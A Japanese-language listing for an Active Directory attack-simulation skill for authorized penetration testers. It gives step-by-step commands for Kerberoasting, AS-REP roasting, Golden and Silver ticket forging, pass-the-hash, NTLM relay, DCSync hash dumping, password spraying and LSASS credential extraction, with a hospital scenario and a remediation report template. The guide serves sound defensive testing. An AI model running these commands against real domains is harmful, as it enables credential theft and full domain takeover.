executing-active-directory-attack-simulation について
許可を得たセキュリティテスター向けの Active Directory 攻撃シミュレーションスキルです。偵察、攻撃経路分析、Kerberos と認証情報のテストを扱い、書面での許可と本番環境への配慮を求めます。
主な機能
- 01ドメイン、ユーザー、グループ、信頼関係の列挙
- 02BloodHound による攻撃経路分析
- 03Kerberos 設定と攻撃対象のテスト
- 04認証情報攻撃と横展開経路の評価
- 05権限昇格経路の記録と修正案の提示
活用シーン
- 01低権限ユーザーから Domain Admin への経路評価
- 02Kerberos と委任設定の検証
- 03AD 技術に対する SOC・EDR の検知テスト
- 04階層型管理と特権アクセス制御の点検
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill executing-active-directory-attack-simulationインストール後、Claude Code で/executing-active-directory-attack-simulationを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Active Directory 攻撃シミュレーションの実施
使用する場面
- 一般的な攻撃手法や高度な攻撃手法に対する Active Directory ドメインおよびフォレストのセキュリティを評価する場合
- 権限関係の分析を通じて、低権限のドメインユーザーから Domain Admin への攻撃経路を特定する場合
- Kerberos のセキュリティ設定、認証情報ポリシー、委任設定が既知の攻撃に耐えられることを検証する場合
- Active Directory 固有の TTP に対する SOC および EDR ツールの検出能力をテストする場合
- 階層型管理モデルおよび特権アクセスワークステーションの有効性を評価する場合
ドメイン所有者から明示的な書面による許可を得ていない場合、承認なく営業時間中に本番環境のドメインコントローラーを対象とする場合、または事前調整なしに実ユーザーに影響するアカウントロックアウトを引き起こす可能性のあるテストには、使用しないでください。
前提条件
- 対象の AD ドメイン、テスト上の制約、対象外のアカウントやシステムを明記した書面による許可
- 現実的な攻撃者の立場をシミュレートするための低権限のドメインユーザーアカウント(最低限の開始条件)
- ドメインに参加済みのテスト用ワークステーション、またはポート 88、135、139、389、445、636、3268、3269 でドメインコントローラーに接続できるネットワークアクセス
- SharpHound/AzureHound コレクターを含む BloodHound Community Edition または Enterprise
- 攻撃プラットフォームにインストールされた Impacket toolkit、Mimikatz(または pypykatz)、Rubeus、CrackMapExec
- オフラインでの認証情報クラッキング用の Hashcat または John the Ripper と最新のワードリスト(rockyou.txt、SecLists)
ワークフロー
ステップ 1:Active Directory の偵察
低権限のドメインユーザーの立場から AD 環境を列挙します。
- ドメインの列挙:
Get-ADDomainまたはcrackmapexec smb <dc_ip> -u <user> -p <pass> --domainsを使用して、ドメイン名、機能レベル、ドメインコントローラー、フォレストの信頼関係を特定します - ユーザーの列挙:
Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSetを使用して、サービスアカウント、特権アカウント、古いパスワードを特定します - グループの列挙:
net group "Domain Admins" /domainを使用して、重要度の高いグループ(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)のメンバーシップをマッピングします - GPO の列挙:
Get-GPO -All | Get-GPOReport -ReportType XMLを使用して、パスワードポリシー、監査設定、ソフトウェア展開などのグループポリシー設定を特定します - 信頼関係の列挙:
nltest /domain_trusts /all_trustsを使用して、ドメイン間およびフォレスト間の信頼関係をマッピングし、信頼の方向と推移性を記録します - LDAP クエリ:「パスワードを無期限にする」「パスワードを必要としない」「DES 専用の Kerberos」を示す
userAccountControlフラグが設定されたアカウントを検索するには、ldapsearchまたは ADExplorer を使用します
ステップ 2:BloodHound による攻撃経路の分析
AD の関係データを収集して分析し、Domain Admin への最短経路を特定します。
- SharpHound コレクターを実行します:ユーザー、グループ、セッション、ACL、信頼関係、GPO データを収集するには、
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\を実行します - JSON 出力を BloodHound にインポートし、組み込みクエリを実行します:
- 「所有済みプリンシパルから Domain Admins への最短経路」
- 「DCSync 権限を持つプリンシパルを検索」
- 「Domain Users がローカル管理者であるコンピューターを検索」
- 「制約のない委任が設定されたシステムへの最短経路」
- 「Kerberoast 対象となるユーザーからの全経路を検索」
- BloodHound で侵害されたユーザーを「所有済み」としてマークし、結果として表示される攻撃経路を分析します
- ACL ベースの攻撃経路を特定します:重要度の高いオブジェクトに対する GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword
- 特定した各攻撃経路について、関係の連鎖と影響を受けるオブジェクトを記録します
ステップ 3:Kerberos 攻撃
特定した脆弱なアカウントに対して、Kerberos ベースの攻撃を実行します。
- Kerberoasting:SPN を持つアカウントの TGS チケットを要求します:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes。hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txtでオフライン解析します。 - AS-REP Roasting:Kerberos の事前認証を必要としないアカウントを標的にします:
impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes。hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txtで解析します。 - Silver Ticket:サービスアカウントの NTLM ハッシュが解析できた場合、
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>を使用して、そのサービスの TGS チケットを偽造します。 - Golden Ticket:krbtgt ハッシュを取得した場合(ドメイン侵害後)、TGT を偽造します:
mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi" - 制約のない委任の悪用:制約のない委任が設定されたコンピューターを特定します。PrinterBug または PetitPotam を使用してドメインコントローラーから認証を強制し、メモリから DC の TGT を取得します。
ステップ 4:認証情報への攻撃とラテラルムーブメント
窃取した認証情報を悪用して、ドメイン内を移動します。
- Pass-the-Hash:
impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>を実行し、侵害されたアカウントがローカル管理者権限を持つシステムでコマンドを実行します。 - Pass-the-Ticket:
export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-passを実行し、取得または偽造した Kerberos チケットを使用します。 - NTLM リレー:
impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>を設定し、認証を強制して NTLM 認証情報をリレーし、権限昇格を行います。 - DCSync:DCSync 権限(ディレクトリ変更の複製)が得られた場合:
impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlmを実行して、ドメイン内のすべてのパスワードハッシュをダンプします。 - パスワードスプレー:
crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforceを実行し、ロックアウトを避けるため、すべてのアカウントに同じパスワードを 1 つずつ試します。 - LSASS ダンプ:侵害したホストで、
mimikatz "sekurlsa::logonpasswords"またはprocdump -ma lsass.exe lsass.dmpを使用して LSASS メモリから認証情報を抽出し、その後オフラインで抽出します。
ステップ 5:ドメイン管理者への権限昇格
発見した攻撃経路を連鎖させ、低権限ユーザーからドメイン管理者へ権限を昇格させます。
- BloodHound で特定した最短経路をたどり、各リレーションシップを実行します(例:ユーザーに対する GenericWrite → SPN を設定 → Kerberoast → パスワードを解析 → ユーザーが Domain Admins に対する WriteDACL を持つグループのメンバーである → 自分にメンバーシップを付与)。
- 見つかった場合は、グループポリシー基本設定(GPP)のパスワードを悪用します:
crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologon - LAPS(ローカル管理者パスワード ソリューション)が導入されている場合は標的にします:
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwdで LAPS パスワードを照会します。 - Certipy で証明書サービス(AD CS)を悪用します:
certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>を実行し、悪用可能な証明書テンプレート(ESC1-ESC8)を見つけます。 - 最初のユーザーからドメイン管理者に至るまでの完全な攻撃チェーンを、使用したすべての認証情報、ツール、手法とともに記録します。
主要な概念
| 用語 | 定義 |
|---|---|
| Kerberoasting | Service Principal Name を持つアカウントの Kerberos TGS チケットを要求し、オフラインでクラックしてサービスアカウントの平文パスワードを復元する手法です |
| AS-REP Roasting | 事前認証が有効になっていないアカウントの Kerberos AS-REP レスポンスを要求し、暗号化されたタイムスタンプをオフラインでクラックする手法です |
| DCSync | Directory Replication Service の権限(DS-Replication-Get-Changes-All)を使用して、DC の動作を模倣しながらドメインコントローラーからパスワードデータを複製する手法です |
| BloodHound | グラフベースの Active Directory 分析ツールです。権限の関係をマッピングし、任意のユーザーから Domain Admin などの高価値なターゲットに至る攻撃経路を特定します |
| Unconstrained Delegation | サービスが任意のユーザーになりすまして他の任意のサービスを利用できる Kerberos 委任の設定です。接続するユーザーから TGT を取得できます |
| Pass-the-Hash | 平文パスワードの代わりに NTLM ハッシュを直接使用して認証する手法です。Windows の NTLM 認証を悪用します |
| AD CS Abuse | Active Directory Certificate Services のテンプレートの設定ミスを悪用し、昇格した権限を付与する証明書や、他のユーザーになりすます証明書を要求する手法です |
| NTLM Relay | 取得した NTLM 認証を別のサービスに転送し、被害者として認証する手法です。SMB 署名が強制されていない場合に有効です |
ツールとシステム
- BloodHound: SharpHound が収集した AD データを取り込み、オブジェクト間の関係を通じた権限昇格の経路を可視化して特定する、攻撃経路分析ツールです
- Impacket: Kerberos 攻撃(GetUserSPNs、GetNPUsers)、認証情報のダンプ(secretsdump)、リモート実行(psexec、wmiexec)など、ネットワークプロトコルとのやり取りに使用する Python ツールキットです
- Mimikatz: Windows メモリ(LSASS プロセス)から平文の認証情報、NTLM ハッシュ、Kerberos チケットを抽出する侵害後ツールです
- CrackMapExec: SMB、LDAP、WinRM、MSSQL に対応し、パスワードスプレーや列挙のためのモジュールを内蔵した、Active Directory 環境向けのマルチプロトコル攻撃ツールです
- Certipy: Active Directory Certificate Services(AD CS)の設定ミスを列挙して悪用する Python ツールです
よくあるシナリオ
シナリオ:医療機関のドメイン侵害評価
コンテキスト: 3 つのサイトにまたがる 15 台のドメインコントローラー、5,000 個のユーザーアカウント、800 個のコンピューターオブジェクトを含む、単一の Active Directory フォレストを持つ病院ネットワークです。テスターは、権限の低いドメインユーザーアカウントを 1 つだけ持つ状態から始めます。目標は、従業員の盗まれた認証情報を持つ攻撃者が Domain Admin へ昇格できるかどうかを判断することです。
アプローチ:
- SharpHound を実行して AD の関係データを収集し、BloodHound にインポートします
- BloodHound で次の経路が明らかになります:侵害済みユーザー -> IT-Support グループのメンバー -> SVC-SQL アカウントに対する GenericAll -> SVC-SQL に SPN が設定されている -> Kerberoast -> SVC-SQL は DB-SERVER-01 のローカル管理者 -> DB-SERVER-01 に Domain Admin のセッションがある
- SVC-SQL を Kerberoast し、hashcat を使用して 12 分で脆弱なパスワード(Summer2023!)をクラックします
- SVC-SQL の認証情報を使用して、psexec 経由で DB-SERVER-01 にアクセスします
- DB-SERVER-01 の LSASS メモリから Domain Admin の認証情報を抽出します
- DCSync を実行してすべてのドメインハッシュをダンプし、ドメイン侵害を検証します
- 完全な攻撃チェーンを報告し、修正策として、サービスアカウントに 25 文字以上のパスワードを設定すること、AES のみの Kerberos 暗号化を有効にすること、不要なローカル管理者権限を削除すること、階層型管理を導入することを提案します
注意点:
- ピーク時間帯にノイズの多い収集方法で SharpHound を実行し、過剰な LDAP クエリによって SOC に検知されること
- 先にドメインのロックアウトポリシーを確認せずにパスワードスプレーを実行し、数百ものアカウントをロックアウトすること
- AD CS の脆弱性をテストし忘れること。多くの場合、Domain Admin への最短経路になります
- キャッシュされた認証情報やアクティブなセッションが残っている可能性のある、古いコンピューターアカウントを確認しないこと
出力形式
## Finding: Service Account Vulnerable to Kerberoasting with Weak Password
**ID**: AD-002
**Severity**: Critical (CVSS 9.1)
**Affected Object**: [email protected] (Service Account)
**Attack Technique**: MITRE ATT&CK T1558.003 - Kerberoasting
**Description**:
The service account SVC-SQL has a Service Principal Name (MSSQLSvc/db-server-01.corp.example.com:1433)
registered in Active Directory and uses a weak password that was cracked in 12 minutes
using hashcat with the rockyou.txt wordlist. This account has local administrator
privileges on DB-SERVER-01, which had an active Domain Admin session at the time of
testing.
**Attack Chain**:
1. Requested TGS ticket: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. Cracked hash: hashcat -m 13100 hash.txt rockyou.txt (cracked in 12m: Summer2023!)
3. Lateral movement: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. Credential extraction: mimikatz sekurlsa::logonpasswords -> Domain Admin NTLM hash
**Impact**:
Complete domain compromise from a single low-privilege domain user account. An attacker
could access all 5,000 user accounts, 800 computer objects, and all data within the domain.
**Remediation**:
1. Set a 25+ character randomly generated password for SVC-SQL and all service accounts
2. Migrate to Group Managed Service Accounts (gMSA) which rotate 120-character passwords automatically
3. Enable AES256 encryption for Kerberos and disable RC4 (DES) encryption
4. Remove SVC-SQL from local administrator groups on DB-SERVER-01
5. Implement Protected Users group for privileged accounts to prevent credential caching
6. Deploy Microsoft Defender for Identity to detect Kerberoasting and DCSync attacks